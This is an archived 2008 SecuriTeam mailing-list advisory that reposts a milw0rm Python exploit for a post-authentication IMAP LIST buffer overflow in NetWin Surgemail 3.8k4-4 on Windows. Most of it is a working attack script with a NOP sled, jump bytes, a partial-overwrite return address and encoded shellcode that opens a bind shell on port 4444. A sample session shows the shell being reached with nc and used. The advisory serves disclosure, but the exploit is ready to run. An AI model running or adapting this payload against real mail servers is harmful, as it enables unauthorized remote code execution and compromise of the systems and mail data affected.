

[EXPL] NetWin Surgemail LIST Universal (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2008-03/msg00058.html>

- From: SecuriTeam <support@xxxxxxxxxxxxxx>
 - Date: 16 Mar 2008 19:58:49 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

NetWin Surgemail LIST Universal (Exploit)

SUMMARY

A vulnerability in NetWin's IMAP server allows authenticated users to cause an internal buffer to overflow which in turn can be used to cause the product to execute arbitrary code.

DETAILS

Vulnerable Systems:

* NetWin version 3.8k4-4

Exploit:

```
#!/usr/bin/python
```

```
#####
```

```
#
```

```
# NetWin Surgemail 0DAY (IMAP POST AUTH) Remote LIST Universal Exploit
```

```
# Discovered and coded by Matteo Memelli aka ryujin
```

```
# http://www.gray-world.net http://www.be4mind.com
```

```
#
```

```
# Affected Versions : Version 3.8k4-4 Windows Platform
```

```
# Tested on OS : Windows 2000 SP4 English
```

```
# Windows XP Sp2 English
```

[EXPL] NetWin Surgemail LIST Universal (Exploit)

```
# Windows 2003 Standard Edition Italian
# Discovery Date : 03/13/2008
#
#-----
#
# Thx to muts _[at]_ offensive-security.com
# for the "Partial Overwrite" Suggestion :) Now I know it works!
#
#-----
#####
#
# matte@badrobot:~/surgemail$ ./surgemail_list.py -H 192.168.1.245 -P 143
-1 \
# test -p test
#
# [*****]
# [* *]
# [* NetWin Surgemail 0DAY (IMAP POST AUTH) Remote LIST Exploit *]
# [* Discovered and Coded By *]
# [* Matteo Memelli *]
# [* (ryujin) *]
# [* www.be4mind.com - www.gray-world.net *]
# [* *]
# [*****]
# [+] Connecting to imap server...
# * OK IMAP ryujin (Version 3.8k4-4)
#
# [+] Logging in...
# 0001 OK LOGIN completed
#
# [+] PWINING IN PROGRESS :) ...
# [+] DONE! Check your shell on 192.168.1.245:4444
# matte@badrobot:~/surgemail$ nc 192.168.1.245 4444
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# c:\surgemail>ipconfig
# ipconfig
#
# Windows IP Configuration
#
#
# Ethernet adapter Local Area Connection:
#
# Connection-specific DNS Suffix . :
# IP Address. . . . . : 192.168.1.245
# Subnet Mask . . . . . : 255.255.255.0
# Default Gateway . . . . . : 192.168.1.197
#
# c:\surgemail>
#
```

[EXPL] NetWin Surgemail LIST Universal (Exploit)

```
#####

from socket import *
from optparse import OptionParser
import sys, time

print
"[******]"
print "[*
*]"
print "[* NetWin Surgemail 0DAY (IMAP POST AUTH) Remote LIST Exploit
*]"
print "[* Discovered and Coded By
*]"
print "[* Matteo Memelli
*]"
print "[* (ryujin)
*]"
print "[* www.be4mind.com – www.gray-world.net
*]"
print "[*
*]"
print
"[******]"
usage = "%prog -H TARGET_HOST -P TARGET_PORT -l USER -p PASSWD"
parser = OptionParser(usage=usage)
parser.add_option("-H", "--target_host", type="string",
action="store", dest="HOST",
help="Target Host")
parser.add_option("-P", "--target_port", type="int",
action="store", dest="PORT",
help="Target Port")
parser.add_option("-l", "--login-user", type="string",
action="store", dest="USER",
help="User login")
parser.add_option("-p", "--login-password", type="string",
action="store", dest="PASSWD",
help="User password")
(options, args) = parser.parse_args()
HOST = options.HOST
PORT = options.PORT
USER = options.USER
PASSWD = options.PASSWD
if not (HOST and PORT and USER and PASSWD):
parser.print_help()
sys.exit()

NOPES = "\x90"*9654
SJUMP = "\xEB\xF9\x90\x90" # Jmp Back
NJUMP = "\xE9\xDD\xD7\xFF\xFF" # And Back Again Baby ;)
# Partial Overwrite: 0x00 not allowed in buffer and all popopret
```

[EXPL] NetWin Surgemail LIST Universal (Exploit)

```
# begin with 0x00 in surgemail.exe
RET = "\x7e\x51\x78"
SHELLCODE = (
#[*] x86/alpha_mixed succeeded, final size 697
"\x89\xe0\xd9\xeb\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b"
"\x4c\x43\x5a\x4a\x4b\x50\x4d\x4d\x38\x4b\x49\x4b\x4f\x4b\x4f"
"\x4b\x4f\x43\x50\x4c\x4b\x42\x4c\x47\x54\x46\x44\x4c\x4b\x50"
"\x45\x47\x4c\x4c\x4b\x43\x4c\x44\x45\x44\x38\x45\x51\x4a\x4f"
"\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a"
"\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x50\x31"
"\x49\x50\x4c\x59\x4e\x4c\x4b\x34\x49\x50\x42\x54\x44\x47\x49"
"\x51\x48\x4a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4b\x44\x47\x4b"
"\x50\x54\x51\x34\x47\x58\x44\x35\x4a\x45\x4c\x4b\x51\x4f\x46"
"\x44\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b"
"\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x43\x33\x46\x4c\x4c\x4b\x4b"
"\x39\x42\x4c\x51\x34\x45\x4c\x43\x51\x48\x43\x46\x51\x49\x4b"
"\x43\x54\x4c\x4b\x51\x53\x50\x30\x4c\x4b\x51\x50\x44\x4c\x4c"
"\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x51\x50\x45\x58\x51\x4e"
"\x43\x58\x4c\x4e\x50\x4e\x44\x4e\x4a\x4c\x46\x30\x4b\x4f\x4e"
"\x36\x42\x46\x46\x33\x43\x56\x42\x48\x47\x43\x46\x52\x45\x38"
"\x44\x37\x44\x33\x46\x52\x51\x4f\x46\x34\x4b\x4f\x4e\x30\x45"
"\x38\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x50\x50\x4b\x4f\x48\x56"
"\x51\x4f\x4d\x59\x4d\x35\x43\x56\x4b\x31\x4a\x4d\x45\x58\x45"
"\x52\x46\x35\x43\x5a\x44\x42\x4b\x4f\x4e\x30\x45\x38\x48\x59"
"\x45\x59\x4a\x55\x4e\x4d\x46\x37\x4b\x4f\x49\x46\x51\x43\x46"
"\x33\x50\x53\x51\x43\x51\x43\x50\x43\x50\x53\x47\x33\x46\x33"
"\x4b\x4f\x48\x50\x45\x36\x45\x38\x42\x31\x51\x4c\x43\x56\x51"
"\x43\x4d\x59\x4d\x31\x4a\x35\x45\x38\x4e\x44\x45\x4a\x42\x50"
"\x48\x47\x46\x37\x4b\x4f\x49\x46\x43\x5a\x42\x30\x46\x31\x46"
"\x35\x4b\x4f\x4e\x30\x43\x58\x49\x34\x4e\x4d\x46\x4e\x4b\x59"
"\x46\x37\x4b\x4f\x48\x56\x50\x53\x51\x45\x4b\x4f\x4e\x30\x43"
"\x58\x4b\x55\x50\x49\x4b\x36\x47\x39\x51\x47\x4b\x4f\x48\x56"
"\x46\x30\x50\x54\x46\x34\x46\x35\x4b\x4f\x4e\x30\x4d\x43\x45"
"\x38\x4a\x47\x42\x59\x48\x46\x44\x39\x50\x57\x4b\x4f\x4e\x36"
"\x50\x55\x4b\x4f\x4e\x30\x43\x56\x42\x4a\x42\x44\x45\x36\x45"
"\x38\x45\x33\x42\x4d\x4b\x39\x4d\x35\x43\x5a\x50\x50\x46\x39"
"\x51\x39\x48\x4c\x4c\x49\x4d\x37\x42\x4a\x51\x54\x4b\x39\x4d"
"\x32\x50\x31\x49\x50\x4a\x53\x4e\x4a\x4b\x4e\x47\x32\x46\x4d"
"\x4b\x4e\x47\x32\x46\x4c\x4d\x43\x4c\x4d\x43\x4a\x46\x58\x4e"
"\x4b\x4e\x4b\x4e\x4b\x45\x38\x42\x52\x4b\x4e\x48\x33\x42\x36"
"\x4b\x4f\x43\x45\x47\x34\x4b\x4f\x48\x56\x51\x4b\x50\x57\x51"
"\x42\x50\x51\x46\x31\x46\x31\x42\x4a\x43\x31\x46\x31\x50\x51"
"\x51\x45\x46\x31\x4b\x4f\x48\x50\x43\x58\x4e\x4d\x4e\x39\x43"
"\x35\x48\x4e\x50\x53\x4b\x4f\x4e\x36\x42\x4a\x4b\x4f\x4b\x4f"
"\x50\x37\x4b\x4f\x4e\x30\x4c\x4b\x51\x47\x4b\x4c\x4c\x43\x49"
"\x54\x45\x34\x4b\x4f\x49\x46\x51\x42\x4b\x4f\x48\x50\x45\x38"
"\x4a\x4f\x48\x4e\x4d\x30\x45\x30\x51\x43\x4b\x4f\x49\x46\x4b"
"\x4f\x4e\x30\x44\x4a\x41\x41")
```

[EXPL] NetWin Surgemail LIST Universal (Exploit)

```
s = socket(AF_INET, SOCK_STREAM)
print " [+] Connecting to imap server..."
s.connect((HOST, PORT))
print s.recv(1024)
print " [+] Logging in..."
s.send("0001 LOGIN %s %s\r\n" % (USER, PASSWD))
print s.recv(1024)
print " [+] PWNING IN PROGRESS :) ..."
EVIL = NOPES + SHELLCODE + NJUMP + SJUMP + RET
s.send('0002 LIST () "/" + EVIL + "'PWNED"\r\n')
print " [+] DONE! Check your shell on %s:%d" % (HOST, 4444)
s.close()
```

milw0rm.com [2008-03-14]

ADDITIONAL INFORMATION

The information has been provided by Matteo Memelli aka ryujin.

The original article can be found at:

<<http://www.milw0rm.com/exploits/5259>>

<http://www.milw0rm.com/exploits/5259>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.